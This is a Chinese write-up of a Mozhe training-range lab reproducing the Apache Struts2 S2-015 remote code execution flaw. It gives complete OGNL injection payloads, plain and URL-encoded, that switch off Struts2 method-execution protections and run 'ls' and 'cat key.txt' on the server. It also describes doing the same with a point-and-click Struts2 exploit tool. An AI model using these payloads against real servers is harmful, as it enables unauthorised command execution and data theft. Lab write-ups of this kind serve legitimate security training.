墨者靶场-Apache Struts2远程代码执行漏洞(S2-015)复现

第一种构建poc

打开题目靶机

3eafedc6a6dc75db.png

b0582e8b79c8c4e2.png

输入/${1+1}.action。发现表达式被执行,证明存在漏洞。可以利用rce漏洞

f5b3dfe0f727deca.png

去看漏洞我们可知道

poc:

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()),#q}.action

之后需要url编码加密

1
%24%7b%23context%5b%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23m%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2c%23m.setAccessible(true)%2c%23m.set(%23_memberAccess%2ctrue)%2c%23q%3d%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27ls%27).getInputStream())%2c%23q%7d.action

出现回显

baeca0484ceb652d.png

我们继续构造payload查看key.txt

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('cat key.txt').getInputStream()),#q}.action

url加密后

1
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20key.txt%27%29.getInputStream%28%29%29%2C%23q%7D.action

出现回显

4cfe11d4c6f036cc.png

不知道为什么url加密建议使用随波逐流来加密,网站加密可能有问题。

还有第二种方法

第二种使用工具 Struts2.2019.V2.3

打开工具链接复制来

点击验证漏洞,开始运行

6e5026e36a170ab0.png

点击 ‘命令执行’

选中出现的漏洞编号先

078cd6c9559a75a7.png

输入命令

ls 并点击执行

b557a0aa0a4347f5.png

继续使用命令

cat key.txt 并执行

2d8d04ff67796d8e.png

问题解决